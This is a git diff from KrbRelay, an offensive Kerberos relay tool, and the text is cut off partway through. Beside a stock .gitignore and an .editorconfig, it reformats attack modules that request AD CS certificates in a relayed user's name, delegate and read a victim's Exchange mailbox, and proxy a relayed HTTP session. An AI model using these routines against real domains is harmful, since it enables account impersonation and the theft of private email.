diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..8a30d25 --- /dev/null +++ b/.gitignore @@ -0,0 +1,398 @@ +## Ignore Visual Studio temporary files, build results, and +## files generated by popular Visual Studio add-ons. +## +## Get latest from https://github.com/github/gitignore/blob/main/VisualStudio.gitignore + +# User-specific files +*.rsuser +*.suo +*.user +*.userosscache +*.sln.docstates + +# User-specific files (MonoDevelop/Xamarin Studio) +*.userprefs + +# Mono auto generated files +mono_crash.* + +# Build results +[Dd]ebug/ +[Dd]ebugPublic/ +[Rr]elease/ +[Rr]eleases/ +x64/ +x86/ +[Ww][Ii][Nn]32/ +[Aa][Rr][Mm]/ +[Aa][Rr][Mm]64/ +bld/ +[Bb]in/ +[Oo]bj/ +[Ll]og/ +[Ll]ogs/ + +# Visual Studio 2015/2017 cache/options directory +.vs/ +# Uncomment if you have tasks that create the project's static files in wwwroot +#wwwroot/ + +# Visual Studio 2017 auto generated files +Generated\ Files/ + +# MSTest test Results +[Tt]est[Rr]esult*/ +[Bb]uild[Ll]og.* + +# NUnit +*.VisualState.xml +TestResult.xml +nunit-*.xml + +# Build Results of an ATL Project +[Dd]ebugPS/ +[Rr]eleasePS/ +dlldata.c + +# Benchmark Results +BenchmarkDotNet.Artifacts/ + +# .NET Core +project.lock.json +project.fragment.lock.json +artifacts/ + +# ASP.NET Scaffolding +ScaffoldingReadMe.txt + +# StyleCop +StyleCopReport.xml + +# Files built by Visual Studio +*_i.c +*_p.c +*_h.h +*.ilk +*.meta +*.obj +*.iobj +*.pch +*.pdb +*.ipdb +*.pgc +*.pgd +*.rsp +*.sbr +*.tlb +*.tli +*.tlh +*.tmp +*.tmp_proj +*_wpftmp.csproj +*.log +*.tlog +*.vspscc +*.vssscc +.builds +*.pidb +*.svclog +*.scc + +# Chutzpah Test files +_Chutzpah* + +# Visual C++ cache files +ipch/ +*.aps +*.ncb +*.opendb +*.opensdf +*.sdf +*.cachefile +*.VC.db +*.VC.VC.opendb + +# Visual Studio profiler +*.psess +*.vsp +*.vspx +*.sap + +# Visual Studio Trace Files +*.e2e + +# TFS 2012 Local Workspace +$tf/ + +# Guidance Automation Toolkit +*.gpState + +# ReSharper is a .NET coding add-in +_ReSharper*/ +*.[Rr]e[Ss]harper +*.DotSettings.user + +# TeamCity is a build add-in +_TeamCity* + +# DotCover is a Code Coverage Tool +*.dotCover + +# AxoCover is a Code Coverage Tool +.axoCover/* +!.axoCover/settings.json + +# Coverlet is a free, cross platform Code Coverage Tool +coverage*.json +coverage*.xml +coverage*.info + +# Visual Studio code coverage results +*.coverage +*.coveragexml + +# NCrunch +_NCrunch_* +.*crunch*.local.xml +nCrunchTemp_* + +# MightyMoose +*.mm.* +AutoTest.Net/ + +# Web workbench (sass) +.sass-cache/ + +# Installshield output folder +[Ee]xpress/ + +# DocProject is a documentation generator add-in +DocProject/buildhelp/ +DocProject/Help/*.HxT +DocProject/Help/*.HxC +DocProject/Help/*.hhc +DocProject/Help/*.hhk +DocProject/Help/*.hhp +DocProject/Help/Html2 +DocProject/Help/html + +# Click-Once directory +publish/ + +# Publish Web Output +*.[Pp]ublish.xml +*.azurePubxml +# Note: Comment the next line if you want to checkin your web deploy settings, +# but database connection strings (with potential passwords) will be unencrypted +*.pubxml +*.publishproj + +# Microsoft Azure Web App publish settings. Comment the next line if you want to +# checkin your Azure Web App publish settings, but sensitive information contained +# in these scripts will be unencrypted +PublishScripts/ + +# NuGet Packages +*.nupkg +# NuGet Symbol Packages +*.snupkg +# The packages folder can be ignored because of Package Restore +**/[Pp]ackages/* +# except build/, which is used as an MSBuild target. +!**/[Pp]ackages/build/ +# Uncomment if necessary however generally it will be regenerated when needed +#!**/[Pp]ackages/repositories.config +# NuGet v3's project.json files produces more ignorable files +*.nuget.props +*.nuget.targets + +# Microsoft Azure Build Output +csx/ +*.build.csdef + +# Microsoft Azure Emulator +ecf/ +rcf/ + +# Windows Store app package directories and files +AppPackages/ +BundleArtifacts/ +Package.StoreAssociation.xml +_pkginfo.txt +*.appx +*.appxbundle +*.appxupload + +# Visual Studio cache files +# files ending in .cache can be ignored +*.[Cc]ache +# but keep track of directories ending in .cache +!?*.[Cc]ache/ + +# Others +ClientBin/ +~$* +*~ +*.dbmdl +*.dbproj.schemaview +*.jfm +*.pfx +*.publishsettings +orleans.codegen.cs + +# Including strong name files can present a security risk +# (https://github.com/github/gitignore/pull/2483#issue-259490424) +#*.snk + +# Since there are multiple workflows, uncomment next line to ignore bower_components +# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) +#bower_components/ + +# RIA/Silverlight projects +Generated_Code/ + +# Backup & report files from converting an old project file +# to a newer Visual Studio version. Backup files are not needed, +# because we have git ;-) +_UpgradeReport_Files/ +Backup*/ +UpgradeLog*.XML +UpgradeLog*.htm +ServiceFabricBackup/ +*.rptproj.bak + +# SQL Server files +*.mdf +*.ldf +*.ndf + +# Business Intelligence projects +*.rdl.data +*.bim.layout +*.bim_*.settings +*.rptproj.rsuser +*- [Bb]ackup.rdl +*- [Bb]ackup ([0-9]).rdl +*- [Bb]ackup ([0-9][0-9]).rdl + +# Microsoft Fakes +FakesAssemblies/ + +# GhostDoc plugin setting file +*.GhostDoc.xml + +# Node.js Tools for Visual Studio +.ntvs_analysis.dat +node_modules/ + +# Visual Studio 6 build log +*.plg + +# Visual Studio 6 workspace options file +*.opt + +# Visual Studio 6 auto-generated workspace file (contains which files were open etc.) +*.vbw + +# Visual Studio 6 auto-generated project file (contains which files were open etc.) +*.vbp + +# Visual Studio 6 workspace and project file (working project files containing files to include in project) +*.dsw +*.dsp + +# Visual Studio 6 technical files +*.ncb +*.aps + +# Visual Studio LightSwitch build output +**/*.HTMLClient/GeneratedArtifacts +**/*.DesktopClient/GeneratedArtifacts +**/*.DesktopClient/ModelManifest.xml +**/*.Server/GeneratedArtifacts +**/*.Server/ModelManifest.xml +_Pvt_Extensions + +# Paket dependency manager +.paket/paket.exe +paket-files/ + +# FAKE - F# Make +.fake/ + +# CodeRush personal settings +.cr/personal + +# Python Tools for Visual Studio (PTVS) +__pycache__/ +*.pyc + +# Cake - Uncomment if you are using it +# tools/** +# !tools/packages.config + +# Tabs Studio +*.tss + +# Telerik's JustMock configuration file +*.jmconfig + +# BizTalk build output +*.btp.cs +*.btm.cs +*.odx.cs +*.xsd.cs + +# OpenCover UI analysis results +OpenCover/ + +# Azure Stream Analytics local run output +ASALocalRun/ + +# MSBuild Binary and Structured Log +*.binlog + +# NVidia Nsight GPU debugger configuration file +*.nvuser + +# MFractors (Xamarin productivity tool) working folder +.mfractor/ + +# Local History for Visual Studio +.localhistory/ + +# Visual Studio History (VSHistory) files +.vshistory/ + +# BeatPulse healthcheck temp database +healthchecksdb + +# Backup folder for Package Reference Convert tool in Visual Studio 2017 +MigrationBackup/ + +# Ionide (cross platform F# VS Code tools) working folder +.ionide/ + +# Fody - auto-generated XML schema +FodyWeavers.xsd + +# VS Code files for those working on multiple tools +.vscode/* +!.vscode/settings.json +!.vscode/tasks.json +!.vscode/launch.json +!.vscode/extensions.json +*.code-workspace + +# Local History for Visual Studio Code +.history/ + +# Windows Installer files from build outputs +*.cab +*.msi +*.msix +*.msm +*.msp + +# JetBrains Rider +*.sln.iml diff --git a/CheckPort/obj/Debug/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs b/CheckPort/obj/Debug/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs deleted file mode 100644 index 3871b18..0000000 --- a/CheckPort/obj/Debug/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs +++ /dev/null @@ -1,4 +0,0 @@ -// -using System; -using System.Reflection; -[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.7.2", FrameworkDisplayName = ".NET Framework 4.7.2")] diff --git a/CheckPort/obj/Debug/CheckPort.csproj.AssemblyReference.cache b/CheckPort/obj/Debug/CheckPort.csproj.AssemblyReference.cache deleted file mode 100644 index d764217..0000000 Binary files a/CheckPort/obj/Debug/CheckPort.csproj.AssemblyReference.cache and /dev/null differ diff --git a/CheckPort/obj/Debug/CheckPort.csproj.ResolveComReference.cache b/CheckPort/obj/Debug/CheckPort.csproj.ResolveComReference.cache deleted file mode 100644 index edbfeb0..0000000 Binary files a/CheckPort/obj/Debug/CheckPort.csproj.ResolveComReference.cache and /dev/null differ diff --git a/CheckPort/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache b/CheckPort/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache deleted file mode 100644 index d2d6d66..0000000 Binary files a/CheckPort/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache and /dev/null differ diff --git a/CheckPort/obj/Debug/Interop.NetFwTypeLib.dll b/CheckPort/obj/Debug/Interop.NetFwTypeLib.dll deleted file mode 100644 index 8465a49..0000000 Binary files a/CheckPort/obj/Debug/Interop.NetFwTypeLib.dll and /dev/null differ diff --git a/CheckPort/obj/Release/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs b/CheckPort/obj/Release/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs deleted file mode 100644 index 3871b18..0000000 --- a/CheckPort/obj/Release/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs +++ /dev/null @@ -1,4 +0,0 @@ -// -using System; -using System.Reflection; -[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.7.2", FrameworkDisplayName = ".NET Framework 4.7.2")] diff --git a/CheckPort/obj/Release/CheckPort.csproj.AssemblyReference.cache b/CheckPort/obj/Release/CheckPort.csproj.AssemblyReference.cache deleted file mode 100644 index d764217..0000000 Binary files a/CheckPort/obj/Release/CheckPort.csproj.AssemblyReference.cache and /dev/null differ diff --git a/CheckPort/obj/Release/CheckPort.csproj.FileListAbsolute.txt b/CheckPort/obj/Release/CheckPort.csproj.FileListAbsolute.txt deleted file mode 100644 index e69de29..0000000 diff --git a/CheckPort/obj/Release/CheckPort.csproj.ResolveComReference.cache b/CheckPort/obj/Release/CheckPort.csproj.ResolveComReference.cache deleted file mode 100644 index edbfeb0..0000000 Binary files a/CheckPort/obj/Release/CheckPort.csproj.ResolveComReference.cache and /dev/null differ diff --git a/CheckPort/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache b/CheckPort/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache deleted file mode 100644 index 7bd69fd..0000000 Binary files a/CheckPort/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache and /dev/null differ diff --git a/CheckPort/obj/Release/Interop.NetFwTypeLib.dll b/CheckPort/obj/Release/Interop.NetFwTypeLib.dll deleted file mode 100644 index e20df45..0000000 Binary files a/CheckPort/obj/Release/Interop.NetFwTypeLib.dll and /dev/null differ diff --git a/KrbRelay/.editorconfig b/KrbRelay/.editorconfig new file mode 100644 index 0000000..8a11eb3 --- /dev/null +++ b/KrbRelay/.editorconfig @@ -0,0 +1,166 @@ +# editorconfig.org + +# top-most EditorConfig file +root = true + +# Default settings: +# A newline ending every file +# Use 4 spaces as indentation +[*] +insert_final_newline = true +indent_style = space +indent_size = 4 +max_line_length = 120 + +[project.json] +indent_size = 2 + +# C# and Visual Basic files +[*.{cs,vb}] +charset = utf-8-bom + +# Code quality analyzers +dotnet_analyzer_diagnostic.category-Security.severity = error +dotnet_code_quality.ca1802.api_surface = private, internal + +# Miscellaneous style rules +dotnet_sort_system_directives_first = true +dotnet_style_predefined_type_for_locals_parameters_members = true:suggestion +dotnet_style_predefined_type_for_member_access = true:suggestion + +# avoid this. unless absolutely necessary +dotnet_style_qualification_for_field = false:suggestion +dotnet_style_qualification_for_property = false:suggestion +dotnet_style_qualification_for_method = false:suggestion +dotnet_style_qualification_for_event = false:suggestion + +# name all constant fields using PascalCase +dotnet_naming_rule.constant_fields_should_be_pascal_case.severity = suggestion +dotnet_naming_rule.constant_fields_should_be_pascal_case.symbols = constant_fields +dotnet_naming_rule.constant_fields_should_be_pascal_case.style = pascal_case_style +dotnet_naming_symbols.constant_fields.applicable_kinds = field +dotnet_naming_symbols.constant_fields.required_modifiers = const +dotnet_naming_style.pascal_case_style.capitalization = pascal_case + +# static fields should have s_ prefix +dotnet_naming_rule.static_fields_should_have_prefix.severity = suggestion +dotnet_naming_rule.static_fields_should_have_prefix.symbols = static_fields +dotnet_naming_rule.static_fields_should_have_prefix.style = static_prefix_style +dotnet_naming_symbols.static_fields.applicable_kinds = field +dotnet_naming_symbols.static_fields.required_modifiers = static +dotnet_naming_symbols.static_fields.applicable_accessibilities = private, internal, private_protected +dotnet_naming_style.static_prefix_style.required_prefix = s_ +dotnet_naming_style.static_prefix_style.capitalization = camel_case + +# internal and private fields should be _camelCase +dotnet_naming_rule.camel_case_for_private_internal_fields.severity = suggestion +dotnet_naming_rule.camel_case_for_private_internal_fields.symbols = private_internal_fields +dotnet_naming_rule.camel_case_for_private_internal_fields.style = camel_case_underscore_style +dotnet_naming_symbols.private_internal_fields.applicable_kinds = field +dotnet_naming_symbols.private_internal_fields.applicable_accessibilities = private, internal +dotnet_naming_style.camel_case_underscore_style.required_prefix = _ +dotnet_naming_style.camel_case_underscore_style.capitalization = camel_case + +# Code quality +dotnet_style_readonly_field = true:suggestion +dotnet_code_quality_unused_parameters = non_public:suggestion + +# Expression-level preferences +dotnet_style_object_initializer = true:suggestion +dotnet_style_collection_initializer = true:suggestion +dotnet_style_explicit_tuple_names = true:suggestion +dotnet_style_coalesce_expression = true:suggestion +dotnet_style_null_propagation = true:suggestion +dotnet_style_prefer_is_null_check_over_reference_equality_method = true:suggestion +dotnet_style_prefer_inferred_tuple_names = true:suggestion +dotnet_style_prefer_inferred_anonymous_type_member_names = true:suggestion +dotnet_style_prefer_auto_properties = true:suggestion +dotnet_style_prefer_conditional_expression_over_assignment = true:refactoring +dotnet_style_prefer_conditional_expression_over_return = true:refactoring + +# C# files +[*.cs] +# New line preferences +csharp_new_line_before_open_brace = all +csharp_new_line_before_else = true +csharp_new_line_before_catch = true +csharp_new_line_before_finally = true +csharp_new_line_before_members_in_object_initializers = true +csharp_new_line_before_members_in_anonymous_types = true +csharp_new_line_between_query_expression_clauses = true + +# Indentation preferences +csharp_indent_block_contents = true +csharp_indent_braces = false +csharp_indent_case_contents = true +csharp_indent_case_contents_when_block = true +csharp_indent_switch_labels = true +csharp_indent_labels = one_less_than_current + +# Modifier preferences +csharp_preferred_modifier_order = public,private,protected,internal,static,extern,new,virtual,abstract,sealed,override,readonly,unsafe,volatile,async:suggestion + +# Code style defaults +csharp_using_directive_placement = outside_namespace:suggestion +csharp_prefer_braces = true:refactoring +csharp_preserve_single_line_blocks = true:none +csharp_preserve_single_line_statements = false:none +csharp_prefer_static_local_function = true:suggestion +csharp_prefer_simple_using_statement = false:none +csharp_style_prefer_switch_expression = true:suggestion + +# Expression-bodied members +csharp_style_expression_bodied_methods = true:refactoring +csharp_style_expression_bodied_constructors = true:refactoring +csharp_style_expression_bodied_operators = true:refactoring +csharp_style_expression_bodied_properties = true:refactoring +csharp_style_expression_bodied_indexers = true:refactoring +csharp_style_expression_bodied_accessors = true:refactoring +csharp_style_expression_bodied_lambdas = true:refactoring +csharp_style_expression_bodied_local_functions = true:refactoring + +# Pattern matching +csharp_style_pattern_matching_over_is_with_cast_check = true:suggestion +csharp_style_pattern_matching_over_as_with_null_check = true:suggestion +csharp_style_inlined_variable_declaration = true:suggestion + +# Expression-level preferences +csharp_prefer_simple_default_expression = true:suggestion + +# Null checking preferences +csharp_style_throw_expression = true:suggestion +csharp_style_conditional_delegate_call = true:suggestion + +# Other features +csharp_style_prefer_index_operator = false:none +csharp_style_prefer_range_operator = false:none +csharp_style_pattern_local_over_anonymous_function = false:none + +# Space preferences +csharp_space_after_cast = false +csharp_space_after_colon_in_inheritance_clause = true +csharp_space_after_comma = true +csharp_space_after_dot = false +csharp_space_after_keywords_in_control_flow_statements = true +csharp_space_after_semicolon_in_for_statement = true +csharp_space_around_binary_operators = before_and_after +csharp_space_around_declaration_statements = do_not_ignore +csharp_space_before_colon_in_inheritance_clause = true +csharp_space_before_comma = false +csharp_space_before_dot = false +csharp_space_before_open_square_brackets = false +csharp_space_before_semicolon_in_for_statement = false +csharp_space_between_empty_square_brackets = false +csharp_space_between_method_call_empty_parameter_list_parentheses = false +csharp_space_between_method_call_name_and_opening_parenthesis = false +csharp_space_between_method_call_parameter_list_parentheses = false +csharp_space_between_method_declaration_empty_parameter_list_parentheses = false +csharp_space_between_method_declaration_name_and_open_parenthesis = false +csharp_space_between_method_declaration_parameter_list_parentheses = false +csharp_space_between_parentheses = false +csharp_space_between_square_brackets = false + +# Types: use keywords instead of BCL types, and permit var only when the type is clear +csharp_style_var_for_built_in_types = false:suggestion +csharp_style_var_when_type_is_apparent = false:none +csharp_style_var_elsewhere = false:suggestion \ No newline at end of file diff --git a/KrbRelay/Clients/Attacks/Http/ADCS.cs b/KrbRelay/Clients/Attacks/Http/ADCS.cs index 500c98d..5f85c9b 100644 --- a/KrbRelay/Clients/Attacks/Http/ADCS.cs +++ b/KrbRelay/Clients/Attacks/Http/ADCS.cs @@ -23,7 +23,12 @@ internal class ADCS { // https://github.com/bats3c/ADCSPwn - public static void requestCertificate(HttpClient httpClient, string user, string domain, string template = null) + public static void requestCertificate( + HttpClient httpClient, + string user, + string domain, + string template = null + ) { HttpResponseMessage result; @@ -37,15 +42,19 @@ public static void requestCertificate(HttpClient httpClient, string user, string // set the attributes of the cert var cert_attribs = new Dictionary { - { - X509Name.CN, string.Format("{0}\\{1}", domain, user) - } + { X509Name.CN, string.Format("{0}\\{1}", domain, user) } }; var subject = new X509Name(cert_attribs.Keys.ToList(), cert_attribs); // generate the CSR - var pkcs10CertificationRequest = new Pkcs10CertificationRequest(PkcsObjectIdentifiers.Sha256WithRsaEncryption.Id, subject, keyPair.Public, null, keyPair.Private); + var pkcs10CertificationRequest = new Pkcs10CertificationRequest( + PkcsObjectIdentifiers.Sha256WithRsaEncryption.Id, + subject, + keyPair.Public, + null, + keyPair.Private + ); var csr = Convert.ToBase64String(pkcs10CertificationRequest.GetEncoded()); // correctly format the certificate @@ -83,10 +92,22 @@ public static void requestCertificate(HttpClient httpClient, string user, string data += CertificateTemplates[i]; data += "&TargetStoreFlags=0&SaveCert=yes&ThumbPrint="; - using (var message = new HttpRequestMessage(HttpMethod.Post, "certsrv/certfnsh.asp")) + using ( + var message = new HttpRequestMessage( + HttpMethod.Post, + "certsrv/certfnsh.asp" + ) + ) { - message.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko"); - message.Content = new StringContent(data, Encoding.UTF8, "application/x-www-form-urlencoded"); + message.Headers.Add( + "User-Agent", + "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko" + ); + message.Content = new StringContent( + data, + Encoding.UTF8, + "application/x-www-form-urlencoded" + ); message.Method = HttpMethod.Post; result = httpClient.SendAsync(message).Result; } @@ -111,7 +132,9 @@ public static void requestCertificate(HttpClient httpClient, string user, string else { found_template = true; - Console.WriteLine("[+] Found valid template: " + CertificateTemplates[i]); + Console.WriteLine( + "[+] Found valid template: " + CertificateTemplates[i] + ); break; } } @@ -121,7 +144,7 @@ public static void requestCertificate(HttpClient httpClient, string user, string if (!found_template) { Console.WriteLine("[-] Unable to find any usable templates"); - Environment.Exit(1); + return; } // find the req id of the certificate @@ -129,17 +152,27 @@ public static void requestCertificate(HttpClient httpClient, string user, string reqid = match.Groups[1].ToString(); if (reqid.Length == 0) { - Console.WriteLine("[-] Failed to find the certificate request id... dumping all page content."); + Console.WriteLine( + "[-] Failed to find the certificate request id... dumping all page content." + ); Console.WriteLine(responseFromServer); - Environment.Exit(1); + return; } //reqid = "62"; Console.WriteLine("[*] SUCCESS (ReqID: " + reqid + ")"); Console.WriteLine("[*] Downloading certificate"); - using (var message = new HttpRequestMessage(HttpMethod.Get, String.Format("certsrv/certnew.cer?ReqID={0}", reqid))) + using ( + var message = new HttpRequestMessage( + HttpMethod.Get, + String.Format("certsrv/certnew.cer?ReqID={0}", reqid) + ) + ) { - message.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko"); + message.Headers.Add( + "User-Agent", + "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko" + ); result = httpClient.SendAsync(message).Result; } @@ -203,11 +236,12 @@ public static void requestCertificate(HttpClient httpClient, string user, string public static string[] templateHunter() { - String Base = "LDAP://CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,"; + String Base = + "LDAP://CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,"; DirectoryEntry DirEntry = null; DirectorySearcher DirSearch = null; - String LdapBase = Base + Program.domainDN; + String LdapBase = Base + State.domainDN; DirEntry = new DirectoryEntry(LdapBase); DirSearch = new DirectorySearcher(DirEntry); @@ -221,8 +255,7 @@ public static string[] templateHunter() { Templates.Add(Result.Properties["name"][0].ToString()); } - catch (Exception ex) - { } + catch (Exception ex) { } } return Templates.ToArray(); @@ -236,8 +269,7 @@ public class PasswordStore : IPasswordFinder { private char[] password; - public PasswordStore( - char[] password) + public PasswordStore(char[] password) { this.password = password; } @@ -248,4 +280,4 @@ public char[] GetPassword() } } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Http/EWS.cs b/KrbRelay/Clients/Attacks/Http/EWS.cs index 8b8f819..72c2fad 100644 --- a/KrbRelay/Clients/Attacks/Http/EWS.cs +++ b/KrbRelay/Clients/Attacks/Http/EWS.cs @@ -16,7 +16,8 @@ internal class EWS public static string findMailbox(HttpClient httpClient, string user) { - string soapRequestXML = String.Format(@" + string soapRequestXML = String.Format( + @" @@ -26,7 +27,11 @@ public static string findMailbox(HttpClient httpClient, string user) {1} -", exchangeVersion, user); ; +", + exchangeVersion, + user + ); + ; using (var message = new HttpRequestMessage(HttpMethod.Post, "EWS/Exchange.asmx")) { @@ -39,12 +44,18 @@ public static string findMailbox(HttpClient httpClient, string user) var result = httpClient.SendAsync(message).Result; if (result.StatusCode == HttpStatusCode.OK) { - string responseXml = result.Content.ReadAsStringAsync().GetAwaiter().GetResult(); + string responseXml = result.Content + .ReadAsStringAsync() + .GetAwaiter() + .GetResult(); var xml = XDocument.Parse(responseXml); XmlDocument xdoc = new XmlDocument(); xdoc.LoadXml(responseXml); var nsmgr = new XmlNamespaceManager(xdoc.NameTable); - nsmgr.AddNamespace("t", "http://schemas.microsoft.com/exchange/services/2006/types"); + nsmgr.AddNamespace( + "t", + "http://schemas.microsoft.com/exchange/services/2006/types" + ); XmlNodeList list = xdoc.SelectNodes("//t:EmailAddress", nsmgr); if (list[0] != null) @@ -69,7 +80,8 @@ public static void delegateMailbox(HttpClient httpClient, string victim, string Console.WriteLine("[*] Found victim email: {0}", vEmail); } - string soapRequestXML = string.Format(@" + string soapRequestXML = string.Format( + @" @@ -99,7 +111,11 @@ public static void delegateMailbox(HttpClient httpClient, string victim, string DelegatesAndSendInformationToMe -", exchangeVersion, vEmail, user); +", + exchangeVersion, + vEmail, + user + ); using (var message = new HttpRequestMessage(HttpMethod.Post, "EWS/Exchange.asmx")) { @@ -118,10 +134,16 @@ public static void delegateMailbox(HttpClient httpClient, string victim, string } } - public static void readMailbox(HttpClient httpClient, string mailbox = "inbox", string filter = "", int limit = 100) + public static void readMailbox( + HttpClient httpClient, + string mailbox = "inbox", + string filter = "", + int limit = 100 + ) { filter = filter.Replace(",", " OR "); - string soapRequestXML = string.Format(@" + string soapRequestXML = string.Format( + @" @@ -138,7 +160,12 @@ public static void readMailbox(HttpClient httpClient, string mailbox = "inbox", {3} -", exchangeVersion, limit, mailbox, filter); +", + exchangeVersion, + limit, + mailbox, + filter + ); using (var message = new HttpRequestMessage(HttpMethod.Post, "EWS/Exchange.asmx")) { @@ -152,13 +179,19 @@ public static void readMailbox(HttpClient httpClient, string mailbox = "inbox", Console.WriteLine("[*] resp: " + result.StatusCode); if (result.StatusCode == HttpStatusCode.OK) { - string responseXml = result.Content.ReadAsStringAsync().GetAwaiter().GetResult(); + string responseXml = result.Content + .ReadAsStringAsync() + .GetAwaiter() + .GetResult(); //Console.WriteLine(responseXml); var xml = XDocument.Parse(responseXml); XmlDocument xdoc = new XmlDocument(); xdoc.LoadXml(responseXml); var nsmgr = new XmlNamespaceManager(xdoc.NameTable); - nsmgr.AddNamespace("t", "http://schemas.microsoft.com/exchange/services/2006/types"); + nsmgr.AddNamespace( + "t", + "http://schemas.microsoft.com/exchange/services/2006/types" + ); XmlNodeList list = xdoc.SelectNodes("//t:Message", nsmgr); Console.WriteLine("[*] Searching in inbox"); @@ -166,7 +199,11 @@ public static void readMailbox(HttpClient httpClient, string mailbox = "inbox", for (int cc = 0; cc < list.Count; cc++) { XmlNode ItemId = list[cc].SelectNodes("//t:ItemId", nsmgr)[cc]; - var email = readEmail(httpClient, ItemId.Attributes["Id"].Value, ItemId.Attributes["ChangeKey"].Value); + var email = readEmail( + httpClient, + ItemId.Attributes["Id"].Value, + ItemId.Attributes["ChangeKey"].Value + ); Console.WriteLine("Date: {0}", email.Date); Console.WriteLine("From: {0}", email.From); @@ -182,7 +219,8 @@ public static void readMailbox(HttpClient httpClient, string mailbox = "inbox", public static MimeMessage readEmail(HttpClient httpClient, string id, string changeKey) { - string soapRequestXML = string.Format(@" + string soapRequestXML = string.Format( + @" @@ -200,7 +238,11 @@ public static MimeMessage readEmail(HttpClient httpClient, string id, string cha -", exchangeVersion, id, changeKey); +", + exchangeVersion, + id, + changeKey + ); using (var message = new HttpRequestMessage(HttpMethod.Post, "EWS/Exchange.asmx")) { @@ -214,16 +256,26 @@ public static MimeMessage readEmail(HttpClient httpClient, string id, string cha //Console.WriteLine("[*] resp: " + result.StatusCode); if (result.StatusCode == HttpStatusCode.OK) { - string responseXml = result.Content.ReadAsStringAsync().GetAwaiter().GetResult(); + string responseXml = result.Content + .ReadAsStringAsync() + .GetAwaiter() + .GetResult(); var xml = XDocument.Parse(responseXml); XmlDocument xdoc = new XmlDocument(); xdoc.LoadXml(responseXml); var nsmgr = new XmlNamespaceManager(xdoc.NameTable); - nsmgr.AddNamespace("t", "http://schemas.microsoft.com/exchange/services/2006/types"); + nsmgr.AddNamespace( + "t", + "http://schemas.microsoft.com/exchange/services/2006/types" + ); XmlNodeList mimeXml = xdoc.SelectNodes("//t:MimeContent", nsmgr); MimeMessage mm = new MimeMessage(); - using (Stream stream = new MemoryStream(Convert.FromBase64String(mimeXml[0].InnerText))) + using ( + Stream stream = new MemoryStream( + Convert.FromBase64String(mimeXml[0].InnerText) + ) + ) { mm = MimeMessage.Load(stream); } @@ -236,4 +288,4 @@ public static MimeMessage readEmail(HttpClient httpClient, string id, string cha } } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Http/ProxyServer.cs b/KrbRelay/Clients/Attacks/Http/ProxyServer.cs index b289f35..4e70c78 100644 --- a/KrbRelay/Clients/Attacks/Http/ProxyServer.cs +++ b/KrbRelay/Clients/Attacks/Http/ProxyServer.cs @@ -35,9 +35,7 @@ public class ProxyServer : IDisposable private readonly string _targetHost; public ProxyServer(string targetUrl, params string[] prefixes) - : this(new Uri(targetUrl), prefixes) - { - } + : this(new Uri(targetUrl), prefixes) { } public ProxyServer(Uri targetUrl, params string[] prefixes) { @@ -72,11 +70,21 @@ public ProxyServer(Uri targetUrl, params string[] prefixes) public bool RewriteReferer { get; set; } // this can have performance impact... public HttpClient httpClient { get; set; } - public static async void Start(HttpClient httpClient, string targetUrl, string port = "5000") + public static void Start( + HttpClient httpClient, + string targetUrl, + string port = "5000" + ) { Console.WriteLine(string.Format("[*] Starting proxy server on :{0}", port)); Console.WriteLine("[*] Target url: {0}", targetUrl); - using (var server = new ProxyServer(targetUrl, string.Format("http://localhost:{0}/", port), string.Format("http://127.0.0.1:{0}/", port))) + using ( + var server = new ProxyServer( + targetUrl, + string.Format("http://localhost:{0}/", port), + string.Format("http://127.0.0.1:{0}/", port) + ) + ) { server.httpClient = httpClient; server.Start(); @@ -113,7 +121,12 @@ protected virtual async Task ProcessRequest(HttpListenerContext context) throw new ArgumentNullException(nameof(context)); var url = TargetUrl.GetComponents(UriComponents.SchemeAndServer, UriFormat.Unescaped); - using (var msg = new HttpRequestMessage(new HttpMethod(context.Request.HttpMethod), url + context.Request.RawUrl)) + using ( + var msg = new HttpRequestMessage( + new HttpMethod(context.Request.HttpMethod), + url + context.Request.RawUrl + ) + ) { msg.Version = context.Request.ProtocolVersion; @@ -148,7 +161,10 @@ protected virtual async Task ProcessRequest(HttpListenerContext context) break; case "Referer": - if (RewriteReferer && Uri.TryCreate(headerValue, UriKind.Absolute, out var referer)) // if relative, don't handle + if ( + RewriteReferer + && Uri.TryCreate(headerValue, UriKind.Absolute, out var referer) + ) // if relative, don't handle { var builder = new UriBuilder(referer); builder.Host = TargetUrl.Host; @@ -186,7 +202,10 @@ protected virtual async Task ProcessRequest(HttpListenerContext context) foreach (var header in response.Headers) { - context.Response.Headers.Add(header.Key, string.Join(", ", header.Value)); + context.Response.Headers.Add( + header.Key, + string.Join(", ", header.Value) + ); } foreach (var header in response.Content.Headers) @@ -194,43 +213,74 @@ protected virtual async Task ProcessRequest(HttpListenerContext context) if (header.Key == "Content-Length") // this will be set automatically at dispose time continue; - context.Response.Headers.Add(header.Key, string.Join(", ", header.Value)); + context.Response.Headers.Add( + header.Key, + string.Join(", ", header.Value) + ); } var ct = context.Response.ContentType; - if (RewriteTargetInText && host != null && ct != null && - (ct.IndexOf("text/html", StringComparison.OrdinalIgnoreCase) >= 0 || - ct.IndexOf("application/json", 